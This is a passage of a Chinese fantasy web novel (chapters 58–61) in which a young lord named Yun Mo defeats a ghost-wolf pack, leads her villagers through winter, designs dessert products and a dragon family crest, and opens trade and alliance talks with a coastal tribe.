哪怕头狼现在看上去瞳孔涣散、有出气没进气，云漠也不敢放松警惕，干脆利落的用藤蔓刺穿它的头颅，这才凑近了细看。 大，真大！ 一条狼比云漠的身体都长，这还不算尾巴呢！ 头狼爪子几乎和她的手掌一样大，四肢骨骼也很粗壮，云漠上手摸了摸，发现竟意外的轻，显然密度不大。 这种构造更方便雪地行走。 她从雪地里捡起一根木棍，用狼爪子划了下，木棍应声而断。 “嘶！” 云漠毫不怀疑，这一爪子要是打在自己身上，指定东一块西一块的。 好在一切都结束了。 云漠简单休息了下，吹响哨子，又在原地点燃篝火，等待接应。 她有点累了。 作为领主，确实要身先士卒，却不能大包大揽，什么活儿都干了。 久而久之，下头的人会形成依赖性，变得懒惰。 刚才云漠在半空中窜来窜去杀得起劲，霍莉等人却要踩着一尺多厚的大雪跋涉，半个多小时才找过来。 空气中充斥着浓烈的血腥气和野兽特有的臭味，地上分布着许多大块的暗红色的冰坨，还有无数蒙着猩红血壳的藤蔓、荆棘，鬼狼们四处逃窜、垂死挣扎时留下的痕迹赫然在列，触目惊心。 这是真正的战场。 稍后众人看见地上已经冻透的鬼狼，纷纷惊呼，看向云漠的目光中充满崇拜。 这，这都是领主大人自己干的？！ “别愣着啦，”云漠抬抬下巴，“雪越来越大了，尽快抬回去，皮毛扒下来硝制，肉可以吃。对了霍莉，记得把完好的大筋都抽出来，可以做弓弩。” “好的！”霍莉用力点头，立刻分派起来。 大家用绳子绑住鬼狼的后腿，两人一组拖着往回走。 天很冷，鬼狼都冻硬了，倒是很适合搬运。 “啊！”有人发现了【画地为牢】里的动静，凑过去一看，突然对上一双黄绿色的眼睛，两腿一软跌倒在地，“活，活的！” “别怕，”刚完成一场屠杀的年轻领主拍拍她的肩膀，咧嘴露出两排白牙，“来，认识下，你们的箭术新伙伴。” 第58章 蜕变 头狼的脑袋被云漠砍下，死不瞑目地插在高高的围墙上，这既是对自身战绩的炫耀和公示，也是对心怀鬼胎者的震慑。 想对我们下手，先掂量自己的分量，看够不够砍的！ 纵然在寒冬，战场上的血腥味也要好久才能散去，接下来的几天会是难得的安宁和太平。 其实大部分人从听到信号，在霍莉的带领下赶来接应，一直到拖着猎物回到领地内，仍处于懵逼的状态，还没回过神来。 直到同伴哭出声。 并非被活着的鬼狼吓哭，而是看见刽子手后记忆中翻滚的愤怒和悲痛。 许多人的亲朋都丧生在鬼狼口下，那些惨烈的场面在她们脑海中久久萦绕不去，已然成了无法剔除的噩梦。 她们也曾奋力反抗过，但她们甚至连像样的武器都没有。 缺少神力加持和兵器武装的普通人类根本抵挡不住野兽攻击。 凡人的血肉之躯对尖利的兽爪而言，并不比纸皮结实多少。 养牛人与鬼狼群体的对抗，每次结局都很惨烈。 久而久之，恐惧在她们心里滋生。 哪怕现在见到被困在笼中的阶下囚，大部分人的第一反应还是试图逃离。 就像正常人看见猛虎，哪怕它不曾杀害你的血亲，你也会畏惧。 这是一种源自食物链排序的生物压制本能。 野兽是最会欺软怕硬的东西，受伤的两只鬼狼嗅到周围人类身上源源不断散发出的恐惧味道，如同吞吃养分的游魂，竟重新支撑起身体，咧开腥臭的大嘴低吼起来。 “该死的畜生，安静些！” 霍莉抬手就给了它们几鞭子，隔着笼子抽得两只畜生直缩脖子，耳朵紧紧贴在脑袋上。 云漠拍拍巴掌，吸引了所有养牛人的注意力，扬声道：“你们都看见了，野兽也是血肉堆成的，也会受伤，也会流血，当然也会死去！这世上没有什么不可战胜！我相信你们只是缺乏经验，缺少趁手的武器，缺少团队锻炼……现在，你们的机会来了！” 她指着笼中已经渐渐止住血的鬼狼说：“拿起你们的弓箭报仇吧！射中最多的将得到丰厚的奖赏！” 最初，无人敢上前。 虽然关在笼子里，但野兽终究是野兽，它们的尖牙和利齿在晦暗的阳光下幽幽放着寒光，腥臭的涎水混着污血低落，分外狰狞。 而且回到领地内之后，云漠就将鬼狼转移到宽大的藤蔓牢笼里。 牢笼的内部空间很大，直径超过四米，体长两米的鬼狼也有相当宽绰的活动余地。 困兽犹斗，觉察到云漠散发出的杀意后，两只鬼狼挣扎着站起身来，低吼着，不断做出扑杀的动作，发出巨大的声响。 围观人群都被吓了一跳，惊恐地向后退去。 玛雅姨妈看得着急，揣着擀面杖跃跃欲试。 被关在笼子里的野兽有什么好怕的呢？ 你能打它，它却咬不到你！ 不过她实在是位温柔体贴的长辈，代入养牛人们的立场思考过后，又不免同情起来。 换做是她自己，面对无数次屠杀亲人的凶手恐怕也会是这个反应吧？ 大家都是普通人类，没有相同的经历，就无权评判对方。 因为没有谁能真正感同身受。 云漠也没有催促。 她带着安抚的目光从每一个人脸上划过，鼓励的同时，也仔细观察者她们的反应。 越是这种状况，越容易发现出色的人才。 有的人一看到鬼狼，就无法克制地回忆起父亲母亲和兄弟姐妹们被野兽撕碎的血腥场面。 哪怕已经过去这么多年，仿佛还能闻到野兽口中喷出的臭气，看到犬齿缝隙间扯碎的人肉…… 有人已经开始干呕了。 不知过了多久，才有一道稍显稚嫩的声音响起，“我来！” 说话的是个小姑娘，看上去简直比云漠还小一点的样子，又干又瘦，两眼通红。 说话时，她的声音都在抖。 可即便是这样，她还是咬紧牙关，哆哆嗦嗦举起弓箭，用力拉紧，放！ “嗖！” “嗖嗖！” 活动靶的射击难度非常大，前面三箭都被鬼狼轻易躲开，小姑娘气得浑身发抖，眼泪哗哗直流。 第四箭，终于射中！ 但她的力气太小了，箭矢被鬼狼厚重的皮毛弹开，没造成半点伤害。 “她叫阿苗，唯一的姐姐在两年前被鬼狼吃掉了，就死在她面前。”霍莉在云漠耳边低声说：“这些天她训练一直很努力，胆子也大，就是太瘦了，还有您说的那个什么夜盲症……” 说话间，阿苗也意识到凭自己现在的箭术永远也不可能杀死敌人。 她胡乱抹了把脸，四下看了一圈，竟跑去抓了一把镰刀过来，嗷嗷叫着扑到笼子边砍！ 鬼狼根本就没把这个瘦小的敌人放在眼中，一个大意，竟被砍中嘴巴！ 热血喷了小姑娘满头满脸，她愣了下，然后被刺激到一样杀红了眼，一刀还嫌不够，竟把胳膊伸进去继续挥舞镰刀。 而吃痛的野兽却已经转过头来，张开了血盆大口。 就在犬齿碰到女孩儿手掌前一秒，一根藤蔓缠住了她的腰，将她猛地拽了出来。 “悲痛和愤怒或许可以给我们带来无穷的力量，”云漠掏出手帕，细细擦去她脸上的血和泪，“但被愤怒冲昏头脑可不是什么值得夸赞的事。” 阿苗的头很痛，又痛又麻，空白一片，像是有无数痛苦的回忆和仇恨不断翻滚、冲撞、爆炸造成的重创。 但领主大人的手很温暖，像夜晚燃烧的篝火，热力顺着擦试过的皮肤，一点点流进阿苗心里去，带着不可思议的神奇力量，一点点抚慰了她干涸的内心。 啊，多么温暖。 多么温柔又有力量的声音。 阿苗下意识接住手帕，手指并拢，抓得死死的，像握住了某根救命稻草。 她分明没有信仰，可此时此刻却觉得自己的灵魂仿佛都飘荡起来。 说完，云漠用藤蔓捆住那只鬼狼的嘴巴，倒吊起来，低头对呆呆看着自己的阿苗说：“去吧，去报仇，我的小战士。” 阿苗杀死了鬼狼，然后放声大哭，尽情宣泄着压抑已久的痛苦。 在她的带动下，另一只鬼狼也被奋起的人群杀死了。 一时间，空气中充斥着野兽的腥臭和曾经软弱的人类的宣泄。 亲手刺破皮肉、折断骨骼、剖出内脏，看着一条生命死在眼前，这种感官和心理刺激是普通人很难承受的。 从对鬼狼望风而逃到敢用武器主动攻击，再到亲手砍杀，中间的进步何止是大！ 就在刚才，她们完成了一次可贵的蜕变。 云漠毫不吝啬地对所有参与者给予赞美和肯定，又用充满赞许、鼓励的眼神看着阿苗，柔声道：“阿苗，你很好，你会成为一名优秀的战士的。” 阿苗还泛着水光的眼底透出狂热，“是！” 话音未落，云漠就感到精神力中的金丝似乎又粗壮了一分。 阿苗对她的狂热崇拜丝毫不逊色于青草母女，甚至可以说有过之而无不及。 接下来的几个小时里，云漠又陆陆续续接收到许多信仰，都是慢慢回过神来的前养牛部落人们贡献的。 对于渴望安定的居民来说，再没什么比一位强大又可靠的领主更让人信服的了。 我们真是跟对了人！ 前任养牛人首领阿茜缓缓吐了口气。 随着迅速消散在冷空气中的水雾，这么多天以来悬着的心，也终于第一次真真正正落回到肚子里。 那副一直挑在她肩膀上的无形的担子，也就此彻底消散。 从这一刻起，她真正解脱了，说不出到底是失落还是畅快。 或许，是畅快和感激多些吧。 做人，做普通人还是领袖，完全是两码事。 普通人可以胡言乱语，可以出尔反尔，但首领不行。 首领说的每一句话，做出的每一个决定都关系到那么多人的命运，关系到整个部族的生存和发展。 过去这些年阿茜自认尽力了，但情况依然越来越糟。 对过往无能的自责和对未来的忧愁反复缠绕着她，巨大的压力使她在短短几年内迅速衰老。 这种衰老不仅是肉/体上的，更多源自于精神上的疲惫和长时间的紧绷。 阿茜太累了。 带领族人投靠新领主，是对未来的一种博弈，可从某种意义上来说，未尝不是阿茜对责任的逃避。 但这种逃避带来的影响之大，远超阿茜的预估： 从向云漠臣服那一日开始，阿茜就没睡过一个整觉。 她反复思考着同样的问题，几乎将自己逼疯： 我这么做到底对不对？ 如果这个决定是错的，怎么办？ 如果这次冒险失败了，怎么办？ 所幸阿茜的担忧没有成真。 这位年轻的领主小姐不仅以宽广的胸怀接纳了她们，而且在危险降临时，勇敢地承担起了属于自己的责任，向所有人展示了强大的实力。 在游吟诗人之间有这么一句话：十桶散沙也比不过一粒宝石。 现在看来，确实如此。 看着族人们脸上久违的，充满希望的笑容，阿茜终于吐出尘封了不知多久的浊气。 啊，真好。 未来一定会更好的。 恐惧需要克服，怨恨需要发泄，而收获则需要庆贺。 当天下午，这座小小的阿索城便举行了第一次真正意义上的庆典。 大家在城堡外的空地上清扫出一片空间，搭建起高高的篝火，将捉回来的鬼狼剥皮洗净，肥大的身躯穿在木棍上，缓缓转着、烘烤着。 在热力作用下，鲜红的生肉逐渐染上漂亮的焦糖色，滋滋作响了油脂，沿着肌肉纹理向下，滚落坠入篝火中，溅起高高的炭花。 “啪！” 香味伴着烟雾迅速扩散，被寒风送往阿索城的每个角落。 快乐可以麻痹人的神经，就连嗅觉敏锐的云漠，此刻也不觉得骚臭了。 玛雅姨妈兴奋地说：“那些皮毛可真好，虽然有几张破损比较严重，但只要缝合在一起，就一点都不影响当被褥。” 这可是她们第一次亲手收获真正意义上的野兽皮毛。 寒冬时节的野兽皮毛质量是最好的，为了度过冬天，它们会生长出长而厚重的绒毛，极其保暖。 鬼狼的样子虽然丑，皮毛质量却很好，绒毛之上还有一层根根分明的针毛，遇水不湿，非常抗冻。 云漠只将兽肉分给大家，皮毛除了被阿苗亲手杀死的那张，全部自留。 一名合格的领袖确实应该打头阵，但却不能大包大揽，不然会让居民丧失动力，觉得只要躺平，吃现成的就好。 得知自己真的获得一张皮毛后，阿苗激动得脸都红了。 “谢谢领主大人！” 虽然那只鬼狼被自己砍得稀巴烂，但正如玛雅大人所说，皮毛都在，只要销制好之后缝补一下，就是最好的铺盖。 领主大人真好！ 第59章 过冬 “嗖！” 最后一根箭矢射中靶子，阿苗缓缓吐了口气，揉揉发硬的臂膀，跑去回收。 合格的箭矢制作不易，大家都很珍惜，尽量多用几次。 但木制箭头很容易损耗，需要经常削去旧的，重新修出尖端炭化处理，要不了几次就短的没法用了。 还有尾部的羽毛，也要时常整理、更换。 这是个细致活儿。 “啊！”旁边的姑娘懊恼地说，“又断了两根，这一支也不能再削，只好当柴火啦！” 她是厨房里青草的大女儿，小春，妹妹病好之后就不用她继续留守照顾了，便也过来练习射箭，希望可以早日加入巡逻队，成为一名真正的战士。 阿苗看了她一眼，“我也是，唉！” 周围树木虽然多，可想选到一根漂亮的合适的箭杆也不容易呢。 两个姑娘对视一眼，不约而同道：“我们一起去找合适的树枝吧！” 还不到午餐时间，两个女孩儿手拉手跑到围墙边，仰头看着那些光秃秃的枝桠，热烈地讨论着哪一根比较好。 地上还有厚厚的积雪，踩上去咯吱作响，蓄水池内结了厚厚的冰，水车边缘悬挂着反复融化又凝固的冰凌，阳光一照，水晶般闪亮。 原本流动的液体被定格在半空中，有种矛盾而诡异的美感。 温度很低，但今天阳光很好，照在身上暖洋洋的。 “阿苗，你进步得好快呀，”小春揉着胳膊，羡慕地说，“今天是不是都射中了？” 来阿索城之前，小春一直忙于照顾多病的妹妹、操持家务，完全没有接触过箭术。 作为初学者，她可是吃了大苦头，每隔几天手臂内侧都会被弓弦打到，青紫一片，非常吓人，手指也磨出水泡。 “也没有啦，”阿苗有点骄傲，又有点害羞，“有几次射空了。” 虽然远远比不上百发百中的精灵族，但族人们都说她还是很有天分的。 我一定要成为可靠的战士，为领主大人效力！阿苗默默地想。 小春发现了一根修长笔直的树枝，吭哧吭哧爬上树，小心地将它掰下来，认真地说：“不过，我也要继续努力呀！” 城里储存了足够的食物，她们每天都能吃得饱饱的，冬天又没什么活儿，还不必担心野兽来袭……更不用说领主大人还救了妹妹的命！ 这样的好日子，简直跟做梦一样！ “是呀，”阿苗刚要说话，就见远处城堡顶部的钟楼顶上出现了一个熟悉的人影，当即话锋一转，语气痴迷地说，“啊，领主大人今天还是那么精神！” 瞧啊，她站得多么笔直！ 被高处的狂风掀起的头发和衣袍又是多么的狂野，有气势！ 小春跟着点头，不过还是有点儿不解和担忧，“可是天这么冷，领主大人为什么每天都跑那么高去吹风呢？不会生病吧？” “领主大人可是强大的魔法师！”阿苗立刻坚定道，“怎么可能生病！听说魔法师都是这样的。” 虔诚的小信徒坚信领主大人做什么都是合理的，至于到底什么时候从哪儿“听说”的，重要吗？ 可惜领主大人今天精神不起来了。 云漠感冒了！ 玛雅姨妈一边熬药，一边忍不住唠叨，“这么冷，石砖都能冻裂了，你偏偏跑到风最大的地方吹……” 你不生病谁生病！ 云漠也知道自己有些操之过急，不敢反驳，老老实实裹着兽皮捂汗。 魔法跨界并不容易，纳林霜老师都说了，大风天是风系魔法元素最活跃的时候，也是魔法师跨界感悟成功率最高的时候。 可惜一连两个月，她人都吹傻了，半个风系魔法元素都感应不到！ 原始草药非常难喝，又苦又涩又酸又辣，云漠喝得浑身打颤，一张嘴就要呕出来。 旁边的霍莉眼疾手快，立刻往她嘴里塞了个热乎乎的蛋挞。 又香又甜的蛋挞里加了酸梅果酱，迅速压制了药味，云漠两口吞吃下肚，冲霍莉比了个大拇指。 霍莉嘿嘿笑，“对了小姐，我照着您说的方法做了那个什么焦糖牛奶布丁，您要尝尝看吗？” 云漠眼睛一亮，“尝尝尝！” 领地新成员们带来15头成年肉牛，10头成年奶牛，另外还有4头半大小牛犊，都有公有母。 加上之前她们有的2母1公，现在一共有9头母牛可以产奶，只是“工作能力”参差不齐。 尤其是原养牛人部落的，虽然她们照料牲畜的经验丰富，但生存环境比较恶劣，牛群整天担惊受怕，饲料也相对单一，产奶量远远低于阿索城的同类。 来到这边之后，牛群每天吃得饱、睡得香，也不用担心什么时候被野兽抓走吃掉，隔三岔五还能喝到甜甜的糖水，营养充足，都开始集体长膘。 小牛犊们长得飞快，结实又活泼，母牛们的泌乳期也延长了。 霍莉每天都带着大河小河挤奶，慢慢地，攒下许多黄油。 冬季最冷的几十天快要过去，人类新一轮社交活跃期即将到来。 集市和阿索城的甜品屋也要重开，云漠就想做点新产品。 以前材料匮乏，人手不足，什么都显得仓促。 现在不同了，以青草为首的五名新成员组成厨房见习小组，接替霍莉处理了大量琐碎工作，烹饪组的产量瞬间就上来了。 既然材料和人手都到位了，产品更新自然也要跟上。 现阶段阿索城的主要优势就是牛奶和麦芽糖，鸡蛋也不少，既然如此，奶制甜品完全可以搞起来嘛！ 除了焦糖牛奶布丁，云漠还打算加个芝士蛋糕，赶在天气热起来之前狠狠卖一波。 因她迟迟无法破解冰系魔法的奥秘，“冰箱”制作只能无限延后，这些需要冷藏的甜点注定与夏日无缘。 牛奶布丁细腻爽滑，奶香浓郁，焦糖又为它增添了一丝特殊风味，大家都很喜欢。 玛雅姨妈一口气吃了两个，这才恋恋不舍地点评说：“简陋的盘子完全配不上这样出色的口感。” 她们现在用的还是之前发现的各色陶盘，除了完整之外，实在挑不出任何优点。 云漠笑着点头，“确实如此，精致漂亮的餐具绝对会让食物更美味的，下次集市我就买点好看的餐具吧。” 她记得藤部落附近的一个族群就很擅长烧制器皿，不仅有便宜实用的粗陶，还有高温淬炼的光滑瓷器呢！ 玛雅姨妈来了兴致，“既然要买，可不可以加上特定的纹样呢？” 王国有王旗，贵族有家徽，就连那些小型部落也有自己的信仰图腾，现在新阿索城也有近50人，家禽家畜合计过百，没理由不制作新标记嘛。 作为贵族阶级，克劳德家族自然有家徽，不过根据传统，作为新一届领导者和家主，云漠需要在原有家徽的基础上增添新的元素，表明荣耀和家族的延续。 云漠回忆了下克劳德家族的现有家徽：以荆棘纹样缠绕出盾牌的形状，内部填充星云图案……寓意为王国之盾，拱卫王室。 复杂且古朴，而外圈的荆棘，似乎也昭示着现在云漠的木系魔法师身份。 那个什么狗屁王室，云漠自然是懒得继续效忠，不过盾牌么，也可以解释为我方的坚实和强大。 至于新加的元素…… “加上龙吧。”云漠轻轻抚摸着椅子扶手，语气中萦绕着他人无法理解的惆怅和思念。 “龙？”玛雅姨妈和霍莉面面相觑，都有些迟疑，“可是龙是邪恶的象征。” “各方立场不同，哪里有真正的邪恶呢？”云漠嗤笑道，“人类向来如此，渴望强大的力量，可当发现这种力量无法掌控时，就会滋生出恐惧，然后因扭曲的恐惧繁衍出污蔑……” 不然怎么所有的强者都以成为龙骑士为荣？ “就算世人都认为龙是邪恶的生物，又怎么样呢？”云漠越说越兴奋，“就让他们恐惧好了！” 让人恐惧，总比任人宰割来得好！ 玛雅姨妈一想，也是，反正她们都已经决心判出王国，彻底抛弃了所谓的贵族准则，在那些老东西眼中，早就归为邪恶阵营了，还怕什么呢？ “好，就加龙！”玛雅姨妈和霍莉兴奋地说，“不过加在哪边呢？” 云漠这才想起来，这个时空的龙和自己记忆中的完全是两种生物，更像一只肥头肥脑的大蜥蜴，傻乎乎的。 “啊！”年轻的领主立刻开始睁着眼睛说瞎话，“我曾经在精灵王国六角藏书室残存的人类前辈们的笔记中看到过一种特殊品种的龙，远比普通的龙更威风更强大。它们都有着狮子的头颅，鹿的角，蟒蛇一般修长强壮的身躯，表面覆盖的鳞片比世上一切武器都坚硬且锋利……” 玛雅姨妈和霍莉听得头昏脑胀，想了半天，想不出来。 “孩子，请原谅姨妈的浅薄……” “没事的姨妈，”云漠大手一挥，“有时间我把样子画下来就好了。” 霍莉迅速记下注意事项，稍后熟练地与云漠进行盘点，确认开春后的集市上需要采购的物品清单和大概支出。 考虑到憋了一个冬天的精灵们恐怖的消费能力，云漠特意问牛奶够不够。 霍莉高兴地说：“够的够的。” 都说饱暖思淫/欲，动物也不例外，作为可以常年发情的动物，牛群生活安逸之后也开始考虑生理需求，竟然足足有三头母牛同时怀上了牛犊！ 顺利的话，明年领地内至少能增加三头小牛犊。 而产下牛犊的母牛则会开始漫长的泌乳期，成为新的奶源。 第60章 分店 等真正开始动笔画龙时，云漠才第一次如此清晰地意识到： 可恶，我没点亮这个技能！ 想象中的腾云驾雾落到纸面上，活像扭曲的变态拼接怪。 别说威风凛凛了，看着甚至有些辣眼睛。 中间玛雅姨妈进来书房为她送茶水，无意中看见画稿，整个人都僵硬了，表情一度非常复杂，活像当初听到云漠唱歌的精灵们一样，备受打击。 这并不难理解，朋友们，任谁想到自己以后都要顶着这么个难看的标记招摇过市，还要一代一代传下去，恐怕都不会高兴到哪里去。 云漠：“……” 大意了。 她不死心，挣扎了好几天，日以继夜的努力下得到无数手稿，每一张都丑得惊心动魄、花样翻新。 云漠：“……” 看来上帝终究是给我钉死了这扇门啊！ 玛雅姨妈不忍心看她如此沮丧，软声安慰道：“孩子，这没什么，就像大部分人都不会魔法一样，你画得难……咳，你不精通绘画，也不是什么错事。” 有的事情该放弃就放弃，这就是成长啊。 云漠：“……” 您就直接说我画得难看就完了！ 话糙理不糙，可您这话也忒糙了！ 不过话说回来，专业的事要交给专业的人去做，我不擅长绘画，精灵擅长啊！ 那群拥有漫长生命的生物恨不得把自己的头发丝上都刻满花纹！ 再过几天，积雪覆盖下的枯草丛中就会冒出点点翠色，精灵巡逻队也该从西部防线撤回，她也要重拾铭文课，去拜访纳林霜老师了。 可是，作业没写完！ 两篇关于冰系魔法和风系魔法的感应失败总结，云漠一个字都写不出来！ 毫无头绪！ 来到这块神奇的大陆这么久了，云漠第一次一片茫然！ 之前纳林霜说的是，失败了也没关系，只要写出失败感悟，总结经验教训就好。 一开始，云漠没觉得哪里有问题，但真要上手了才发现： 没法儿写！ 因为总结经验教训的前提是知道为什么失败，错在哪里，也就是说，你打从一开始就知道成功的方法。 比如我这顿饭做得很难吃，因为盐放多了、油少了，下次注意。 但当前的问题恰恰就在于，跨界领悟魔法这种事儿毫无规律可言！ 云漠看过六角藏书室那么多人类精英前辈们的毕生心血总结，没有任何收获！ 没有！ 关于究竟该如何做，如何跨越人类天生的魔法壁垒的方法，一条都没有！ 我连怎么才能成功都不知道，又该怎样写出失败总结呢？ 半个月后，纳林霜的树屋，云漠羞愧地承认了自己没完成作业。 跟老友一起回来的银星听见，颇为诧异地看了她一眼：这还是第一次呢！ 可等问明白究竟是什么作业后，银星就无奈摇头，看向老友的眼中也多了几分揶揄。 这作业根本就完不成！ 纳林霜对这个结果毫不意外，很平静地嗯了声，翻出一本笔记丢向云漠，“双层嵌套铭文回路问题，你可以看一看。” 虽说冰系和风系没有头绪，但木系和水系的组合同样有巨大的延伸空间，值得钻研。 云漠下意识接住，终于后知后觉明白过来，好么，自己成了国王故事中那个被分派了煮熟的花籽的孩子啦！ 纳林霜早就知道完不成，之所以还让自己去做，单纯是因为中间两三个月不能见面，怕自己懈怠了！ 这可真是，这辈子走过最长的路，就是老师的套路。 云漠都给自己气笑了，把带来的巨大的芝士蛋糕切盘装好端上来后，就非常理直气壮地要求纳林霜帮自己画龙。 芝士蛋糕口感细腻扎实，奶香浓郁，很好吃，但吃多了容易腻，云漠就在表面涂抹了厚厚一层酸梅果酱，清新爽口。 搭配一点中度烘焙的松针茶，松针口感微涩，刮油一绝，瞬间带走口腔中的多余油脂，简直完美。 两位精灵大师立刻就被这绝妙的搭配征服了，银星还问是否会加入官方贸易清单，得到肯定的答复后才放下心来。 “除官方贸易之外，甜品屋内也会持续供应，直到夏日到来。甜品屋内单笔交易接受草药、魔法材料、魔法原石、精灵弓箭、精灵餐具等支付。哦，成套餐具优先。 可以帮忙打包，并承接预订服务，但要先交付一笔定金……”云漠见缝插针给自家打广告。 银星：“……” 怎么感觉比起魔法学习，这孩子对经营更有天赋呢？ 纳林霜动作优雅却速度飞快地消灭了一块蛋糕，喝了几口茶清口，又毫不客气地装了第二块，“那是什么龙？” 拿不存在的作业骗学生什么的，精灵没有任何心虚。 不过区区一幅画而已，对精灵而言，完全不构成干扰。 哦，当然，这跟可口的蛋糕没有任何关系！ 不过人类弟子描述的到底是什么？ 纳林霜亲眼见过，龙根本不长那个样子。 “好吧，”眼见混不过去，云漠只好半真半假的说，“其实是我真的不知道还能加什么……至于我说的，是我的祖先流传下来的一则遥远的东方大陆的神话，那里的龙无比强大……” 她抱怨的几句话倒不是乱讲的。 人类国家多如牛毛，贵族更是不计其数，常见的形状和元素都被用烂了，一不留神就会撞车，非常尴尬。 尤其现在各地一盘散沙，缺乏足够的信息流通，撞车的概率就更高了。 “东方大陆……”银星吃蛋糕的动作停顿了下，绿眸中泛起浓烈的兴趣，“消息可靠吗？我是说，你的祖先还有没有别的话？” 云漠摇摇头，“我也不清楚，毕竟只是传说，真相如何，谁知道呢。” 她之所以这么说，是因为类似的传闻并非个例。 相传很早以前，这个世界是一片完整的大陆，后来因为种种原因，大地开裂，碎成无数片，中间以无边无际的茫茫大海隔开。 据说她们所在的这片大陆东边，穿越了迷雾大海的遥远的东边就有一块神秘的大陆，上面有无数宝藏。 可惜海面中央常年被浓雾封锁，还有可怕的风暴和深海堕落魔兽，所有试图穿越迷雾大海的生灵都有去无回。 第一次了解到相关传说时，云漠非常激动，觉得自己是不是能回家了？ 可她很快就冷静下来。 且不说如何穿越大海，就算去了，那个所谓的“东方大陆”真的会是自己曾经熟悉的家吗？ 时间过得飞快，转眼冬去春来，冰封的冷水河重新流动，枯黄的草地再次焕发生机，灰杉托尼附近的营地再次迎来集市。 这次云漠也为阿索城争取到了一块独立的营地。 她在营地内搭建起藤屋，让霍莉带领青草等烹饪小组开设临时餐馆，专门售卖外面没有的特色美食，并承接订单。 经过过去一年磕磕绊绊的反复修整，现在的菜单相当丰富，不仅有刷了焦糖的风味烤肉、金黄诱人的喷香熏肉、软烂适口的可口炖肉、清爽的凉拌野菜、果蔬沙拉，还有各色荤素馅儿饼、面皮蓬松内里多汁的包子。 至于甜点部分则更丰富： 各部族追捧的棕糖、云丝糖、果汁软糖、蛋挞自然不用说，冬日新开发的焦糖牛奶布丁、芝士蛋糕也在其中。 还有夹着浓郁果酱的，有着丰富层次的白面包，据说面团内加入了大量牛奶制品，所以成品面包外酥里嫩，像蛋挞皮一样可口。 以精灵族为首，精灵族内部以紫叶为首的一众熟客都习惯在闲暇时去点两样可口的甜心，再配一壶清爽的松针茶。 哦，据说消费三次可以免费获得一壶茶水。 甜点非常可口，空气中浮动着的浓厚香气更令人不自觉放松。 不同种族的食客们难得暂时放下成见和隔阂，安静地品尝美味，偶尔交换一下过去几个月的见闻，不知不觉就能消磨掉半日时光。 半日过去，自然就饿了，也不必着急离开，顺势取来菜单，或是要一份杂菜炖肉，或是要一盘熏肉，配着香甜的白面包吃，味道棒极了！ 如果出得起价格，还可以来一点颇具异域风情的馅儿饼和包子，都是不错的选择。 海鹰就对洋葱牛肉包子格外情有独钟，每次来都点这个，连续吃了三天还不换！ 云漠都看不下去了，“总吃这个，不腻吗？” 海鹰惊讶地睁大了眼睛，像看深海怪谈一样看着她，满脸都写着【听听你说的什么鬼话】：“这么好吃的东西怎么可能吃腻！” 海螺部落所在的地区不太适合长庄稼，所以大家对粮食格外珍惜，从来都不舍得吃这样精细的白面。 而现在，竟然有人问自己会不会吃腻？！ “对了，我带来的魔法材料你看过了吗？有没有错漏？” 说着，海鹰又往嘴巴里塞了个包子。 鲜美的肉汁立刻在口腔内爆炸，转着圈儿激发出更多美味，海鹰幸福得快要飘起来了。 她说的魔法材料正是上次云漠拜托她向海螺部落的首领，那位传说中的现任人类水系魔法师求购的水系魔法材料，因为种类很多，哪怕每种数量都不多，也足足装了大半车。 海鹰不是魔法师，不懂这些材料意味着什么，但那位族长看到清单后却有些惊讶。 “族长，有问题吗？”海鹰忽然有些忐忑。 族长摇摇头，突然笑了笑，“这些都是专门用来绘制铭文的材料。” 最明显的就是两种深海贝壳和一种三翅飞鱼，它们的贝壳和鱼翅晒干打磨成粉后，可以用来调配铭文墨水。 用这种特殊墨水绘制的水系魔法阵非常稳定，持续的时间也更长，而且没有异味。 用到铭文材料，就说明那位年轻的领主不仅掌握了初步的水系魔法，甚至还在铭文学上取得了一定造诣。 同为魔法师，她深知掌握第二魔法是多么的困难。 60-70 第61章 新产业 单从按照市价帮云漠搜集水系魔法材料这一点来看，就足以说明海螺部落的现任首领是一位心胸宽广、眼光长远的优秀人才，值得交往。 云漠当着海鹰的面表达了自己的感激之情，又亲自写了一封言辞恳切的书信，托她帮忙转交。 信中既有对这次帮助的感谢，还有云漠以领主身份发起的官方建交提案。 如果海螺部落没有异议，那么今后双方就可以不再受到时间和地点的局限，直接绕过集市私下贸易，并承诺享有优先贸易权和实惠价格。 后期如果发生动乱，双方也将作为联盟相互支援。 不过两个部族隔得有点远，除了两位首领之外都是肉/体凡胎，交通和通讯极度落后，现阶段对彼此的战略军事意义并不大…… 但是诚意嘛，有总比没有好。 人情是要维护的，对方坦率，云漠也不吝啬。 海螺部落族长的本源魔法是水系魔法，衍生魔法是风系魔法，但同时也有一定概率领悟木系魔法，所以云漠投桃报李，还坦率地讲述了自己在水系、木系魔法方面的进度和感悟，并选择性摘抄了六角藏书室中个别前辈的日记精华，之后又委婉地询问，是否有风系魔法心得？ 过去的一整个冬天，她都快被大风吹傻了，真希望能有什么可靠的途径…… 不然以后非面瘫不可！ 除了购买魔法材料的财物之外，云漠还以官方立场向对方赠送了一张漂亮厚实的深棕色熊皮。 那熊皮仅躯干就足有两米多长，一米多宽，正是天最冷的时候被猎杀的，近十厘米厚，暖和得吓人。 去年云漠从石斧手中换到后，就一直爱不释手，加上她还有很多其他的皮毛，便小心存放到现在，用来送人倒是很合适。 海鹰从未见过这样好的兽皮，整个人都呆住了，许久才发出一声赞叹，“哇！” 裹上这玩意儿，暴雪天在外面都冻不死了吧！ 云漠失笑，突然想起一件事，抱着试试看的想法问道：“你们一年才来两次，我这边轻易也脱不开身，要是有什么道具帮忙通讯就好了。” 海螺固然可以传音，但范围有限，远远达不到后世长途通讯的效果。 她本是想到这里，随口一说，没想到正抚摸熊皮的海鹰头也不抬道：“有啊。” 云漠：“！！！” 哈？ 仔细询问后才得知，沿海一带有一种海鸟，飞行能力极强，却不太擅长海洋捕捞，只能捡拾一点别的动物剩下的残羹冷炙吃，一度过得很凄惨。 而渔民们人力有限，每每出海捕鱼时，既要辨别方向，又要判断鱼群多寡，非常辛苦…… 于是双方一拍即合。 训练后的海鸟可以长时间盘旋在海面上观察，借助不同的叫声向人类传达鱼群走向、数量，乃至突如其来的天气变化，保障渔民人身安全和基本收成。 而海鸟则无需自己捕捞，只要动动眼睛和嘴皮子，就可以吃得饱饱的。 双方各取所需，都很满意。 “它们是风的宠儿，拍一下翅膀就能飞很远，飞很久，”说这些话的时候，海鹰甚至有点羡慕，“部分身体特别强壮的还会帮忙送信，换取额外的鱼虾。” “从海边到这里，这么远也可以吗？”云漠惊喜道。 以前她倒是听说过信鸽送信，但终究没有亲身经历过，对此一直抱怀疑态度。 